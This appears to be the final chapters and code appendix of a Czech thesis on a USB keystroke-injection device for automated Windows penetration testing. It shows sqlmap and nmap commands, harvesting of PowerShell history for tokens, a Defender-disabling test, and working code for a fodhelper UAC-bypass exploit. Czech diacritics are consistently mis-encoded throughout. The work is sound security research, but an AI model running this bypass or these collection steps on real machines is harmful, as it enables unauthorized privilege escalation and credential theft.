Get-MpPreference

9.1.2 Výsledek

Pokud byla v pr·b¥hu testu zobrazena chyba, úprava nastavení se nezda°ila.

9.2 GetHistoryFromTerminal

Pro penetra£ního testera m·ºe být historie p°íkaz· v terminálu zajímavá. Stejn¥ tak

jako pro úto£níka. P°íkazem uvedeným na webové stránce Stack Over�ow [30] lze

zobrazit celou historii.

9.2.1 P°íkaz

cat (Get-PSReadlineOption).HistorySavePath

https://docs.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2019-ps
https://docs.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2019-ps
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9.2.2 Výsledek

Tímto p°íkazem tester dostane celou historii p°íkaz·. Bude-li p°ítomný jakýkoliv p°íkaz

odkrývající jakékoliv zranitelné nastavení aplikace (heslo, token, úprava nastavení slu-

ºeb, a tak dále), je to potenciáln¥ zneuºitelný problém. Historie by se m¥la pravideln¥

mazat.

9.3 NmapLocalHost

Pro identi�kaci moºných problém· je pro penetra£ního testera d·leºité znát sv·j cíl

testování co nejlépe. Na po£íta£i m·ºe b¥ºet mnoho sluºeb, které navíc mohou komuni-

kovat skrz sí´. Pro tuto práci se hodí program NMAP, který provádí skenování systému

a sluºeb. Více o tomto nástroji je v podkapitole 2.1.

9.3.1 P°íkaz

Test vyuºívá nástroj p°enesený z pam¥´ové karty.

testfiles\tools\nmap-7.92\nmap.exe 127.0.0.1 -p- -sS -A

9.3.2 Výsledek

Tímto testem je z po£íta£e získána informace o verzi opera£ního systému a verze sluºeb.

9.4 SqlmapCrawl

B¥ºn¥ i pro klasické programy na po£íta£ích b¥ºí databáze. �asto se s nimi m·ºeme

setkat v podnikových po£íta£ích, nap°íklad pro r·zné ú£etní programy. S p°ibývajícím

trendem cloudových °e²ení je ale do ú£etních £i jiných program· zapot°ebí jen prohlíºe£

nebo jednoduchý klient s webovou nadstavbou. Jedno mají tyto provedení spole£né,

a to komunikaci se serverem. Sta£í, aby na po£íta£i b¥ºel server poskytující webovou

stránku a je moºné zkou²et p°ipojení do databáze skrz zranitelnosti. Na to je moºné

pouºít program SQLmap popsaný v podkapitole 2.2.

9.4.1 P°íkaz

Test vyuºívá nástroj p°enesený z pam¥´ové karty a p°enositelnou verzí Pythonu.

testfiles\tools\winpython\python-3.10.2\python.exe
testfiles\tools\sqlmap\sqlmap.py -u http://localhost/ -crawl=1
--batch
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9.4.2 Výsledek

Po provedení tohoto p°íkazu je moºné vid¥t, zda-li existují zranitelnosti aplikací na

lokálním serveru.

9.5 SqlmapDatabaseEnumeration

Pracuje podobn¥ jako p°edchozí test se stejným nástrojem SQLmap. V moment¥, kdy

se tester dostane k databázi, uº nic nebrání provád¥t jakékoliv p°íkazy. Tohle je dal²í

p°íklad z modi�kací.

9.5.1 P°íkaz

testfiles\tools\winpython\python-3.10.2\python.exe
testfiles\tools\sqlmap\sqlmap.py -u http://127.0.0.1 -dbs -v 3
--batch

9.5.2 Výsledek

Seznam databází dostupných na testovaném po£íta£i. Pro úto£níka m·ºe být zajímavá

nap°íklad databáze uºivatel·, partner· spole£nosti nebo ú£etnictví.
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10 Provedení testu na reálném po£íta£i

Pro p°íklad byla vybrána metodika PTES (viz 1.3.2). V kaºdém testu je £íslem ozna£ena

fáze a rozpis krok·. Pro lep²í orientaci jsou kroky metodiky vypsány znovu zde:

1. fáze interakce p°ed za£átkem

2. shromaº¤ování informací

3. modelování zranitelností

4. analýza zranitelností

5. fáze zneuºití

6. fáze po zneuºití

7. reportování

10.1 Domácí po£íta£

Jedná se o domácí po£íta£, na kterém byl provád¥n vývoj za°ízení. Následuje plán, co

se bude b¥hem aplikování metodiky d¥lat.

10.2 P°íprava testu

1. V této fázi je nutné vytý£it, o jaký druh testování jde a co je jeho cílem. Cíl je

v tomto p°ípad¥ odhalit zranitelné a zapomenuté aplikace.

2. Pro tento p°ípad testování víme, ºe je po£íta£ vyuºíván jako stanice pro progra-

mování. B¥ºí na n¥m mnoho sluºeb a kontejner· clusteru. V této fázi za°ízení pro

automatizované penetra£ní testování spustíme a necháme provést sb¥r informací.

3. V tento moment jiº budeme mít informace o po£íta£i. Verze aplikací, verze sys-

tému a dal²í informace z pouºívání po£íta£e. Te¤ m·ºeme odhadnout, co se m·ºe

v²echno stát. Nap°íklad zneuºití zabezpe£ení aplikace.

4. Své odhady si ov¥°íme nap°íklad kontrolou u pouºívaných aplikací. B¥ºn¥ je u no-

vých verzí i informace o aktualizaci zabezpe£ení. V ideálním p°ípad¥ je moºné

konkrétní zm¥nu zabezpe£ení dohledat.

5. Pokud jsou dostupné informace jak zneuºití provést, provede se test, jestli je tato

zranitelnost platná. Ov²em ne tak, aby byl systém jakkoliv po²kozen.

6. Aktualizace, je-li aplikace nebo systém moºné aktualizovat. Pokud se na po£íta£i

nalézá cokoliv, co se jiº nepouºívá, tak také odinstalace £i smazání.
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7. Zápis provedeného testu do reportu s datumem testu a provedenými kroky.

10.3 Pr·b¥h sb¥ru informací

Pr·b¥h pouºití za°ízení k testu je na videozáznamu v p°íloze na CD (III). Záznam je

upravený a zkrácený pro ú£ely prezentace. Celková doba trvání byla 8 minut. Výsledky

byly uloºeny na Micro SD kartu.

10.4 Výsledky sb¥ru informací

Po pouºití za°ízení p°ibyl na Micro SD nový archiv. Vid¥t je na obrázku 10.1. Po

rozbalení jsou na obrázku 10.2 vid¥t sloºky jednotlivých b¥h· test·. Obrázek 10.3

ukazuje £ást zji²t¥ných informací po b¥hu programu nmap. Jsou vid¥t otev°ené porty

5432 a 5433, které náleºí databázovému serveru PostgreSQL. Dal²í zji²t¥ní prob¥hlo

u historie terminálu (obrázek 10.4), protoºe je zde vid¥t token pro komunikaci s platební

bránou.

Obr. 10.1 Obsah Micro SD karty po testu

10.5 Modelování zranitelností

Testy odhalily potenciální zneuºití databáze a ú£tu pro platební bránu. P°i po²kození

databází hrozí ovlivn¥ní b¥hu aplikací nebo únik dat.
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Obr. 10.2 Obsah výsledného archivu

Obr. 10.3 �ást obsahu výsledku testu NmapLocalHost

10.6 Analýza zranitelností

Aplikace PostgreSQL je dle výsledku testu pravd¥podobn¥ verze 9.6. Na webové stránce

https://www.cvedetails.com/cve/CVE-2017-12172/ je dostupná zranitelnost,

konkrétn¥ kompromitace systému bez nutné autentizace. Po provedení p°íkazu

SELECT version();

byla zji²t¥na verze 9.6.4. Instalace PostgreSQL je tedy zranitelná.

Ú£et platební brány je jiº nefunk£ní a nehrozí jeho zneuºití.

10.7 Fáze zneuºití a po zneuºití

Kv·li riziku po²kození databáze nebylo provedeno zneuºití. Místo toho byla provedena

záloha databází a provedena aktualizace na verzi 14.3. Zárove¬ bylo na �rewallu ope-

ra£ního systému nastaveno pravidlo pro uzav°ení port· 5432 a 5433 v po£íta£ové síti.

https://www.cvedetails.com/cve/CVE-2017-12172/
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Obr. 10.4 �ást obsahu výsledku testu GetHistoryFromTerminal

10.8 Report

Test prob¥hl dne 17.5.2022. Byla spu²t¥na standardní sada test· pro sb¥r informací

o po£íta£i. Analýzou bylo zji²t¥no, ºe aplikace PostgreSQL nebyla dlouhou dobu aktu-

alizována a je dostupná v po£íta£ové síti p°es otev°ené porty. Pro starou verzi aplikace

(9.6.4) existují zranitelnosti, takºe PostgreSQL bylo aktualizováno na nejnov¥j²í verzi

(14.3). Dále byl v historii terminálu nalezen token pro autentizaci a autorizaci platební

brány. Tento token jiº není funk£ní a nehrozí jeho zneuºití.

Jiné zranitelnosti nebyly nalezeny. Po£íta£ byl ke dni 17.5.2022 zabezpe£en.
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11 Jiné moºnosti pouºití a vlastnosti

Za°ízení je zkonstruováno jako univerzální, takºe ho je moºné s drobnými úpravami

vyuºít i k jiným ú£el·m, neº bylo p·vodn¥ zamý²leno.

11.1 Automatizovaný audit

V podnikovém prost°edí se beºn¥ nachází velké mnoºství po£íta£·. Kdyº není moºné

po£íta£e kontrolovat automatizovan¥ a na dálku, p°ichází na °adu ru£ní kontrola. Tento

proces se dá ov²em také automatizovat. Místo testovacích skript· je moºné p°idat

p°íkazy pro sb¥r informací o ve²kerém softwarovém a hardwarovém vybavení, v£etn¥

po£tu vyuºitých licencí pro podnikové programy. Zárove¬ se tím zachová jednotný

formát pro celý audit a zvý²í rychlost.

11.2 Údrºba techniky

Pro správce podnikové infrastruktury je b¥ºnou záleºitostí ru£ní kon�gurace a správa

po£íta£·. To je samo o sob¥ bez nadsázky £as pohlcující práce. Se za°ízením umoº¬ující

tém¥° libovolné ovládání cílového po£íta£e je údrºba daleko jednodu²²í. Umoº¬uje totiº

automatizovan¥ provést kon�gurace nových i pouºitých po£íta£·:

� registrace po£íta£e do domény

� instalace základních uºivatelských program·

� kon�gurace program· a registrace licencí

� instalace certi�kát·

� zálohování

� £i²t¥ní

11.3 Zaji²t¥ní digitálních stop

S vhodnou modi�kací je moºné z po£íta£e získat digitální stopy uºivatele pro dal²í

forenzní analýzu. Nap°íklad tak, ºe hlavním ú£elem za°ízení nebude spou²t¥ní test·,

ale sb¥r velkého mnoºství dat. Mezi stopy je moºné za°adit:

� data webového prohlíºe£e

� adresá° TEMP

� adresá° AppData

� p°ípadn¥ rovnou celý adresá° uºivatelského pro�lu
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11.4 Porovnání s Rubber Ducky

Podobnost s Rubber Ducky není náhodou, je z £ásti inspirací této práce. Popis je

v podkapitole 4.4. Vytvo°ené za°ízení má v²ak v porovnání s Rubber Ducky hned

n¥kolik výhod:

� První výhodou je displej zobrazující uºite£né informace o práv¥ provád¥ných ope-

racích. To je uºite£né nap°íklad p°i inicializaci, protoºe se ob¥ za°ízení na úplném

za£átku spoléhají na spolupráci po£íta£e. To stejné platí i na konci testování,

protoºe je konec oznámen hlá²kou na displeji.

� Dal²í výhodou je rychlej²í p°enos díky p°ipojenému pam¥´ovému za°ízení p°es

protokol MTP. Rubber Ducky totiº ve²kerý obsah musí vloºit p°es simulovanou

klávesnici, není tedy vhodné pro p°enos velkých nástroj·.

� Díky vyuºití mikropo£íta£e Teensy je dal²í výhodou jeho univerzálnost. Za°ízení

se dá pouºít tém¥° na cokoliv a je lehce upravitelné.

� Jelikoº je p°i testování dostupné pam¥´ové za°ízení, výsledky test· je moºné na-

hrát na Micro SD kartu. Penetra£ní tester tak nemusí výsledky hledat a p°ená²et

z testovaného po£íta£e.

Mezi nevýhody vytvo°eného za°ízení je moºné za°adit nutnost vyuºití sériového

spojení pro zp¥tnou vazbu a p°ipojené pam¥´ové za°ízení p°es protokol MTP. N¥které

podniky mohout mít totiº zakázáno p°ipojování externích pam¥´ových za°ízení.
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ZÁV�R

Cílem práce bylo vytvo°it za°ízení slouºící k automatizaci penetra£ích test·. Na základ¥

popsané problematiky v teoretické £ásti toto za°ízení vzniklo a je funk£ní. Dokáºe auto-

matizovan¥ provést penetra£ní testy dostupné na pam¥´ové kart¥ v za°ízení. Vyuºitelné

je na po£íta£ích s opera£ním systémem Windows 10. Pr·b¥h testování je viditelný na

malém OLED displeji a výsledky test· jsou uloºeny na pam¥´ovou kartu vedle test· do

p°ehledné adresá°ové struktury. Pro ovládání po£íta£e je vyuºito principu simulované

klávesnice, a to umoº¬uje penetra£nímu testerovi automatizovat svoji práci.

P°i vývoji bylo vyuºito mikropo£íta£e Teensy. Ten má výhodu proti Arduino v po-

£tu moºných simulovaných rozhraní pro USB. Toho je vyuºito pro simulaci klávesnice,

sériového a pam¥´ového za°ízení najednou. P°i práci se za°ízení celou dobu nespoléhá

jen na £asový odhad, ºe jiº p°íkaz na stran¥ po£íta£e prob¥hl, ale po£ítá se synchroni-

za£ními signály o dokon£ené sérii p°íkaz·. Tím se zvy²uje stabilita. N¥které sady test·

mohou vyºadovat privilegovaný p°ístup k n¥kterým sluºbám a za°ízením v po£íta£i.

Aby mohly p°íkazy v testech ovládat po£íta£ bez nutné autentizace, je vyuºito zrani-

telnosti opera£ního systému, která je jiº dlouhou dobu p°ítomná. Sta£í tedy za°ízení

do p°ihlá²eného po£íta£e vloºit a za°ízení si samo zajistí administrátorská práva.

Za°ízení je lehce p°enositelné a dá se nosit v kapse. Velikostí odpovídá USB modemu

nebo v¥t²ímu �ash disku. P°ipojit se dá do b¥ºn¥ dostupného USB portu typu A. B¥hem

vzniku za°ízení byla ru£n¥ vyrobena redukce z mikropo£íta£e aº k portu.

Moºné pokra£ování práce je v rozvoji univerzálnosti. Jiº nyní je za°ízení schopné

spustit na cílovém po£íta£i tém¥° cokoliv. Momentáln¥ v²ak komunikace probíhá t°emi

zp·soby zárove¬. M·ºe se stát, ºe politika organizace, kde bude toto za°ízení pouºito,

má nastavený zákaz p°ipojení pam¥´ových za°ízení. Tohle omezení platí v p°ípad¥, po-

kud se penetra£ní testování provádí na reáln¥ pouºívaných po£íta£ích a ne v odd¥lené

síti s klony. Za°ízení by mohlo komunikovat jen a pouze p°es protokol HID. Sice by

za°ízení zp¥tn¥ nedostalo výsledky test·, tester by je v²ak mohl analyzovat na testova-

ném po£íta£i. Testy a nástroje pro testování by mohly být p°ená²eny úhozy simulované

klávesnice místo kopírování z pam¥´ového úloºi²t¥ a na míst¥ sestaveny zpátky do své

binární podoby. Zp¥tná vazba pro synchronizaci by mohla probíhat p°es simulaci stisk-

nutí kláves Num Lock, Caps Lock nebo Scroll Lock. Tohle °e²ení by sice bylo °ádov¥

pomalej²í, dokázalo by ale v n¥kterých p°ípadech proniknout do systém· s vysokou

úrovní zabezpe£ení a provád¥t penetra£ní testy i tímto zp·sobem.
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SEZNAM POU�ITÝCH SYMBOL� A ZKRATEK

CPU Central Processing Unit

FTP File Transfer Protocol

HID Human Interface Device

I2C Inter-Integrated Circuit

MTP Media Transfer Protocol

OISSG Open Information Systems Security Group

OLED Organic Light-Emitting Diode

OSSTMM Open-Source Security Testing Methodology Manual

OWASP Open Web Application Security Project

PTES Penetration Testing Execution Standard

RAM Random Access Memory

ROM Read Only Memory

SPI Serial Peripheral Interface

SQLi Structured Query Language injection

UAC User Account Control

USB Universal Serial Bus
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/* setupLoop that can run in loop()
* E.g. MTP requires calling mtpd.loop(); to function properly
* Starts tests in the end
*
* Params:
* int setupPhase: Indicates function id to call.
* Return:
* int: Incremented value for next call.
*/
int setupLoop(int setupPhase) {

switch(setupPhase){
case 0: createTempFolderOnTestedMachine(); break;
case 1: waitForAccessibleMTPFolder(); break;
case 2: copyRequiredFilesForTests(); break;
case 3: extractTestFiles(); break;
default:

setupIsActive = false;
startTests();

}
return ++setupPhase;

}

/* executeCommandInPowerShell decorates command to execute
* by serial sync signal.
* Used for setupLoop
* Params:
* String command: Command to wrap and type over simulated keyboard.
* Return:
* void
*/
void executeCommandInPowerShell(String command) {

Keyboard.println(command + "$connection.Write('s');");
displayPrint("Waiting");

}

/* updateRunningTest shows on display information about running tests.
* Params:
* int testNumber: Number of currently running test.
* Return:
* void
*/
void updateRunningTest(int testNumber) {

display.clearDisplay();
display.setCursor(1,0);
display.setTextSize(2);
display.println("Test " + String(testNumber));
display.setCursor(1,24);
display.setTextSize(1);
display.println("Executing...");
display.display();
delay(1500);

}



/* startPowerShell using simulated keyboard starts PowerShell.
* Uses shortcut Win+R to open "Run" box.
* Params:
* void
* Return:
* void
*/
void startPowerShell() {

displayPrint("Start PowerShell");
Keyboard.press(MODIFIERKEY_GUI); // Win key
Keyboard.press(KEY_R);
Keyboard.release(KEY_R);
Keyboard.release(MODIFIERKEY_GUI);
delay(2000);
Keyboard.println(F("powershell"));
delay(2000);

}

/* checkInsertedSDCard waits for SD card to be inserted.
* Params:
* void
* Return:
* void
*/
void checkInsertedSDCard() {

while (!SD.begin(BUILTIN_SDCARD)) {
displayPrint("Insert SD card -->");
delay(250);

}
displayPrint("SD card initialized");

}

/* displayPrint shows input text on OLED display.
* Params:
* String input: text to be printed on display.
* Return:
* void
*/
void displayPrint(String input) {

// Settings
display.clearDisplay();
display.setTextSize(1);
display.setTextColor(WHITE);
// Roll up
line1 = line2;
line2 = line3;
line3 = line4;
line4 = input;
// Print
display.setCursor(1,0);
display.println(line1);
display.setCursor(1,8);
display.println(line2);
display.setCursor(1,16);
display.println(line3);
display.setCursor(1,24);
display.println(line4);



display.display();
}

/* printWelcomeMessage
* Params:
* void
* Return:
* void
*/
void printWelcomeMessage() {

display.setTextSize(2);
display.setTextColor(WHITE);
display.setCursor(10,0);
display.clearDisplay();
display.println("APTD 1.0");
display.setCursor(1,16);
display.setTextSize(1);
display.println("Automated PenetrationTest Device");
display.display();
delay(1500);

}

/* printFinished final message on display.
* Params:
* int finishedTestsTotal
* Return:
* void
*/
void printFinished(int finishedTestsTotal) {

display.setTextSize(2);
display.setCursor(1,0);
display.clearDisplay();
display.println("FINISHED");
display.setCursor(1,16);
display.setTextSize(1);
display.println("Tests run: " + String(finishedTestsTotal));
display.setCursor(1,24);
display.println("Safe to remove");
display.display();
delay(1500);

}



P�ÍLOHA P II. FUNKCE PRO TESTOVANÝ PO�ÍTA�

// Start serial communication and wait...
displayPrint("Start Serial COM");
Keyboard.println(

"$serial=gwmi Win32_serialport
| Where-Object PNPDeviceId -Match \"^USB\\\\VID_16C0&PID_047A.*\"
| Select DeviceId;"
"$connection=New-Object System.IO.Ports.SerialPort
$serial.DeviceId,115200,None,8,one;"
"$connection.Open();"
"$connection.Write('s');"
"echo $connection.ReadLine();"
);

displayPrint("Waiting for response");
char ch=Serial.read();
while(ch)
{

if(ch=='s')
{
break;
}
ch=Serial.read();

}
displayPrint("Communication OK");
Serial.println("Communication OK");

/* executeCommandInPowerShell decorates command
* to execute by serial sync signal.
* Used for setupLoop
* Params:
* String command: Command to wrap and type over simulated keyboard.
* Return:
* void
*/
void executeCommandInPowerShell(String command) {

Keyboard.println(command + "$connection.Write('s');");
displayPrint("Waiting");

}

/* zipResultsAndCopyToSDCard creates new archive with all results of
* tests.
* Params:
* void
* Return:
* void
*/
void zipResultsAndCopyToSDCard() {

Keyboard.println(
"$testResultFileName = (Get-Date -Format FileDateTime)+\".zip\";"
"Compress-Archive -Path testresults\\*

-DestinationPath $testResultFileName;"
"$testResults = @($workFolderShell.self.GetFolder().Items()

| where { $_.Name -match $testResultFileName });"
"($sdio.GetFolder().CopyHere($testResults[0])

| Out-null) -and ($connection.Write('c'));"
);

}



/* cleanUp clears after while testing session.
* Signals to this device, that session is over.
* Params:
* void
* Return:
* void
*/
void cleanUp() {

Keyboard.println(
"Remove-Item \"HKCU:\\Software\\Classes\\ms-settings\"

-Recurse -Force;"
"cd ..;"
"rm -Force -Recurse $workFolder;"
"$connection.Write('e');"

);
}

/* startTests Triggers running of tests.
* This is a control script send to tested computer.
* It starts each test and result is piped to file.
* In the end signal of finish is send.
* Params:
* void
* Return:
* void
* PowerShell variables needed:
* $workFolder
* $testsDir
* $connection
*/
void startTests() {

displayPrint("Start testing");
Keyboard.println(
"cd $workFolder;"
"mkdir testresults;"
"$testFilesDir = Get-ChildItem -Path testfiles -Directory;"
"$testsDir = Get-ChildItem -Path testfiles\\tests -Directory;"
"foreach($testDir in $testsDir) { $connection.Write('n');"
"$testResultDir = Join-Path testresults $testDir.Name;"
"mkdir $testResultDir;"
"powershell -ExecutionPolicy Bypass

testfiles\\tests\\$testDir\\test.ps1
| Out-File $testResultDir\\testoutput.txt;"

"}"
"$connection.Write('f');"

);
}

/*
* PowerShell variables needed to run
* $workFolder
*/
void copyRequiredFilesForTests() {

displayPrint("Copy test files");
executeCommandInPowerShell(
"$shell = new-object -com Shell.Application;"
"$mycomputer = $shell.NameSpace(17).self;"
"$teensy = @($mycomputer.GetFolder.Items()

| where { $_.Name -match \"APTD\" });"
"$sdio = @($teensy.GetFolder.Items()

| where { $_.Name -match \"sdio\" });"



"$workFolderShell = $shell.NameSpace($workFolder);"
"$testsZIP = @($sdio.GetFolder.Items()

| where { $_.Name -match \"tests.zip\" });"
"$workFolderShell.CopyHere($testsZIP.Item(0));"
"$toolsZIP = @($sdio.GetFolder.Items()

| where { $_.Name -match \"tools.zip\" });"
"$workFolderShell.CopyHere($toolsZIP.Item(0));"

);
}

/* extractTestFiles extracts tests and tools.
* Params:
* void
* Return:
* void
* PowerShell variables needed:
* $workFolder
*/
void extractTestFiles() {

displayPrint("Extract test files");
executeCommandInPowerShell(
"Expand-Archive -LiteralPath $workFolder\\tests.zip
-DestinationPath $workFolder\\testfiles;"

"Expand-Archive -LiteralPath $workFolder\\tools.zip
-DestinationPath $workFolder\\testfiles;"

);
}

/* startPriviledgedPowerShellThroughExploit opens new PowerShell
with Administrator session.
* Uses exploit in fodhelper.
* Params:
* void
* Return:
* void
* Sets PowerShell methods:
* FodhelperBypass [String]
* FodStart
*/
void startPriviledgedPowerShellThroughExploit() {

displayPrint("UAC Exploit: 5s wait");
Keyboard.println(

"New-Item \"HKCU:\\Software\\Classes\\ms-settings\\Shell\\
Open\\command\"
-Force;"

"New-ItemProperty -Path \"HKCU:\\Software\\Classes\\
ms-settings\\Shell\\Open\\command\"
-Name \"DelegateExecute\"
-Value \"\" -Force;"

"Set-ItemProperty -Path \"HKCU:\\Software\\Classes\\
ms-settings\\Shell\\Open\\command\"
-Name \"(default)\"
-Value \"cmd /c start powershell.exe\" -Force;"

"Start-Process \"C:\\Windows\\System32\\fodhelper.exe\";");
}



/* createTempFolderOnTestedMachine
* Params:
* void
* Return:
* void
* Sets PowerShell variables:
* $tempPath
* $tempFolderName
* $workFolder
*/
void createTempFolderOnTestedMachine()
{

displayPrint("Create temp folder");
executeCommandInPowerShell(

"$tempPath = [System.IO.Path]::GetTempPath();"
"[string] $tempFolderName = [System.Guid]::NewGuid();"
"$workFolder = Join-Path $tempPath $tempFolderName;"
"New-Item -ItemType Directory -Path $workFolder;"

);
}

/* waitForAccessibleMTPFolder
* Params:
* void
* Return:
* void
*/
void waitForAccessibleMTPFolder() {

displayPrint("Wait for MTP folder");
executeCommandInPowerShell(

"while ((((new-object -com Shell.Application).NameSpace(17).self)
.GetFolder.Items()

| where { $_.Name -match \"APTD\" }) -eq $null)
{

echo \"Waiting for APTD to be ready as MTP device\";
Start-Sleep -Seconds 1

};"
);

}
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Médium obsahuje tuto práci a její zdrojové kódy v LATEXu. Dále podp·rné knihovny pro

Teensy, z nichº jsou n¥které upravené. Sou£ástí jsou testy a nástroje pro automatizované

penetra£ní testy. Jak za°ízení pracuje je zaznamenáno na p°iloºeném videu ve dvou

formátech. Video je moºné spustit i p°es webový odkaz: https://youtu.be/2p-xLm

OELk4.

Na dal²ích stránkách je vyobrazena adresá°ová struktura dostupná na CD. Je rozd¥lená

na adresá°e video, thesis a project.

video/

video.m4v

video.mov

thesis/

graphic/
...

tex/

text.tex (hlavní soubor s textem)

UTB.tex (upravená ²ablona)

prilohy.tex

zkratky.tex

...

prace.pdf

prace.tex

https://youtu.be/2p-xLmOELk4
https://youtu.be/2p-xLmOELk4


project/

config/

usb_desc.h (konfigurace za°ízení)

library/

MTP.cpp

MTP.h

Storage.cpp

Storage.h

testfiles/

tests/

DisableDefenderMonitoring/test.ps1

GetHistoryFromTerminal/test.ps1

NmapLocalHost/test.ps1

SqlmapCrawl/test.ps1

SqlmapDatabaseEnumeration/test.ps1

tools/

nmap-7.92/

nmap.exe

...

sqlmap/

sqlmap.py

...

winpython/

python-3.10.2/

python.exe

...

tests.zip

tools.zip

project.ino (hlavní zdrojový kód)
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